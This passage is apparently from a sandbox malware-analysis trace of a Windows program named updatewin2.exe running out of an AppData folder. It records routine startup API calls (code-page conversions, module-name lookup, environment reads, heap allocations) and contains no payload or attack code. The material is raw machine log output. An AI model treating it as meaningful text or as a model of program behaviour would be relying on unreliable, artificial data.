c\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6c\xc7\x92\x57\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0050.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0050.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0050.966] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0050.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6c\xc7\x92\x57\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5ca3e8 [0050.966] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe")) returned 0x5f [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xc8) returned 0x5cc478 [0050.966] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0050.966] GetLastError () returned 0x0 [0050.966] SetLastError (dwErrCode=0x0) [0050.966] GetEnvironmentStringsW () returned 0x5cc548* [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xaca) returned 0x5cd020 [0050.966] FreeEnvironmentStringsW (penv=0x5cc548) returned 1 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x98) returned 0x5cc548 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3e) returned 0x5cdb10 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6c) returned 0x5cc5e8 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6e) returned 0x5cc660 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x78) returned 0x5b1180 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x62) returned 0x5cc6d8 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b52d0 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5cc748 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x28) returned 0x5ca470 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1a) returned 0x5cc028 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x4a) returned 0x5cc798 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x72) returned 0x5b1200 [0050.966] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b5308 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b5340 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1c) returned 0x5cc050 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xd2) returned 0x5cc7f0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x7c) returned 0x5cc8d0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5cc958 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3a) returned 0x5cdb58 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x90) returned 0x5cc998 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5cca30 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b5378 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5cca60 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5ccaa0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5ccaf0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5cdba0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x82) returned 0x5ccb50 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b53b0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1e) returned 0x5cc078 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2c) returned 0x5b53e8 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5ccbe0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5ccc40 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2a) returned 0x5b5420 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5cdbe8 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5ccca0 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5ccd00 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b5458 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x8c) returned 0x5ccd30 [0050.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd020 | out: hHeap=0x5a0000) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5ccdc8 [0050.967] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0050.967] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0050.967] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1423) returned 0x5ceaf8 [0050.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1423) returned 0x5cff28 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc118 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5cd5d0 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc140 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x30) returned 0x5b5490 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd5d0 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc168 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x48) returned 0x5cd5d0 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5490 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc190 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x60) returned 0x5cd620 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd5d0 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x90) returned 0x5cd688 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd620 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc1b8 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xd8) returned 0x5cd720 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd688 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc1e0 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc208 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x138) returned 0x5cd5d0 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd720 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc230 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc258 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc280 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc2a8 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c8) returned 0x5cd710 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd5d0 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc2d0 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc2f8 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc320 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc348 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2a0) returned 0x5d1358 [0050.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd710 | out: hHeap=0x5a0000) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc370 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc398 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc3c0 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc3e8 [0050.968] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc410 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5cc438 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1618 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1640 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3f0) returned 0x5cd5d0 [0050.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1358 | out: hHeap=0x5a0000) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1668 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1690 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d16b8 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d16e0 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1708 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1730 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1758 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1780 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d17a8 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x5e8) returned 0x5d1e00 [0050.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cd5d0 | out: hHeap=0x5a0000) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d17d0 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d17f8 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1820 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1848 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1870 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1898 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d18c0 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d18e8 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1910 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1938 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8d0) returned 0x5d23f0 [0050.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d1e00 | out: hHeap=0x5a0000) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1960 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1988 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d19b0 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d19d8 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1a00 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1a28 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1a50 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1a78 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1aa0 [0050.969] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1ac8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1af0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1b18 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1b40 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1b68 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1b90 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1bb8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xd38) returned 0x5d2cc8 [0050.970] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d23f0 | out: hHeap=0x5a0000) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1be0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1c08 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1c30 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1c58 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1c80 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1ca8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1cd0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1cf8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1d20 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1d48 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1d70 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1d98 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1dc0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1e18 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1e40 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1e68 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1e90 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1eb8 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1ee0 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1f08 [0050.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5d1f30 [0050.970] 